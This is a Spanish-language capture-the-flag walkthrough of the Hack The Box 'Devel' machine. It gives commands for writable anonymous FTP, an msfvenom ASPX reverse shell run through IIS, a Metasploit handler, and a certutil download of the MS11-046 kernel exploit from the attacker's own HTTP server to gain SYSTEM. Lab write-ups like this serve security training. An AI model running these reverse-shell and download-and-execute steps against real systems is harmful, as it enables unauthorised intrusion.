# Devel WriteUp

Iniciamos con un escaneo de puertos:

`$nmap -sV -Pn -sC --script vuln -v 10.129.20.174`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762461998088/f26c702b-9a80-41f3-bd59-39b81df4e41f.png align="left")

Si verificamos el puerto 80, notaremos que el servidor esta utilizando el servidor web de Microsoft IIS en su version 7.5

[http://10.29.20.174](http://10.29.20.174)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462005667/64c26936-e481-40e7-92b0-f860c7402a20.png align="left")

Probamos conectarnos por ftp como usuario anonimo y obtenemos conexion:

`$ ftp anonymous@10.129.20.174`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462012442/1e1fe664-12a0-40fb-ada1-f281018e2859.png align="left")

Si revisamos los archivos del ftp, veremos que entre ellos se encuentran:

\- welcome.png -&gt; Imagen de bienvenida

\- iistart.htm -&gt; Archivo de sitio predeterminado de Microsft IIS

\- aspnet\_client -&gt; Carpeta de recursos

Si revisamos el servidor web, notaremos que si entramos a /welcome.png podremos ver la imagen de bienvenida que encontramos previamente en el ftp

[http://10.29.20.174/welcome.png](http://10.29.20.174/welcome.png)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462019073/1581e749-19d1-4a9e-af87-107b9d50bd3c.png align="left")

Por lo tanto, analizando el escenario actual, un posible vector de entrada, seria subir una shell mediante el FTP y ejecutarla con el fin de obtener una conexion inversa.

Para ello, primero probaremos creando un archivo dummy para intentar subirlo al servidor ftp, primero creamos un simple txt con:

`$ echo "0xNano" > pwned.txt`

Y lo subimos al servidor ftp con el comando put:

`put pwned.txt`

Si revisamos la terminal en la que tenemos la conexion ftp, y lanzamos el comando `dir` veremos que el archivo se ha subido con exito

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462029310/2ea8db53-5b6d-412d-8252-07de90bf02bd.png align="left")

Comprobamos que el archivo se pueda leer desde el servidor web entrando a:

[http://10.29.20.174/pwned.txt](http://10.29.20.174/pwned.txt)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462036667/60ea3e7c-5d54-4e26-b515-62e7cb36ef02.png align="left")

Como pudimos subir el archivo txt con exito, ahora procederemos a subir una revshell, para ello, primero debemos crearla con msfvenom:

`$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.80 LPORT=4444 -f aspx > shell.aspx`

Una vez creada nuestra revshell, la subimos al ftp con el comando

`put shell.aspx`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462043023/e3a19000-78d3-4eba-951b-10b9efa06972.png align="left")

Iniciamos la consola de metasploit con `msfconsole -q` y la configuramos para que reciba la conexion:

```plaintext
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.80
set LPORT 4444
```

Iniciamos el listener de metasploit con el comando `run` para que se ponga a la escucha en nuestra maquina en el puerto que le asignamos previamente

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462054924/27005716-245e-4fe2-b659-3244e29012a2.png align="left")

Ejecutamos la shell accediendo a:

[http://10.29.20.174/shell.aspx](http://10.29.20.174/shell.aspx)

Y recibimos la conexion en nuestra consola de metasploit, si comprobamos con el comando `getuid` veremos que tenemos acceso como el usuario `IIS APPPOOL\Web` y si consultamos la informacion del sistema con `sysinfo` veremos que se trata de una maquina Windows 7 6.1 con arquitectura x86

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462061753/e55c55a5-6ab7-4140-8abe-8f7afb96e279.png align="left")

Como pudimos observar, no tenemos permisos de administrador y el uso con ese usuario es muy limitado, por lo que debemos escalar privilegios, para ello, pondremos la session en segundo plano con el comando `background` y buscamos en la consola de metasploit el exploit suggester con:

`search exploit suggester`

Configuramos el exploit suggester para que corra en la sesion 1 con:

`set SESSION 1`

Y lo ejecutamos con el comando `run`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462070887/7893b281-7de2-43ef-a3e3-187643e5ac67.png align="left")

Al terminar de ejecutarse el exploit suggester, nos recomendara varios exploits para escalar privilegios

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462077819/382491e1-5480-486e-a259-724c81e24002.png align="left")

Tras probar con algunos exploits y no tener exito debido a problemas de metasploit, decidi buscar de forma manual

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462085423/e6a10c65-cdbc-4225-8393-982b31594095.png align="left")

Tras buscar en Google vulnerabilidades que permitan escalada de privilegios en Windows 7 6.1 encontre varios resultados

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462092033/fa04453b-3341-47b2-ae38-886da7b4c5cf.png align="left")

Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046):

[https://www.exploit-db.com/exploits/40564](https://www.exploit-db.com/exploits/40564)

CVE-2011-1249 es una vulnerabilidad de elevación de privilegios en el controlador AFD (Ancillary Function Driver), responsable de manejar las comunicaciones Winsock TCP/IP en Windows (archivo afd.sys). El fallo ocurre porque el controlador no valida correctamente los datos enviados desde el modo usuario al kernel, lo que permite a un atacante con credenciales válidas y acceso local ejecutar código arbitrario con privilegios de sistema (NT AUTHORITY\\SYSTEM).

Tras buscar una prueba de concepto (PoC), encontre la siguiente en GitHub:

[https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe](https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe)

Descargamos el exploit de GitHub en nuestra maquina, iniciamos un servidor http con python donde este ubicado el exploit, y lo subimos a la maquina victima con el comando:

`certutil -urlcache -split -f` [`http://10.10.14.80/ms11-046.exe`](http://10.10.14.80/ms11-046.exe)

Tras ejecutarlo, notaremos que si ejecutamos el comando `whoami` somos `nt authority\system`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462099904/1a5ccd11-7388-43e4-be38-78f889b13d77.png align="left")

Obtenemos la flag de user y root

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762462108409/e44e0418-df4e-49b1-a22c-8e986c3faac6.png align="left")

---

📌 **Sígueme / Portfolio**

🌐 **Web:** [https://0xnano.com](https://0xnano.com/)

🐦 **X:** [https://x.com/0xN4no](https://x.com/0xN4no)

🐙 **GitHub:** [https://github.com/0xN4no](https://github.com/0xN4no)

![Nano](https://www.hackthebox.eu/badge/image/54373 align="left")

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

---
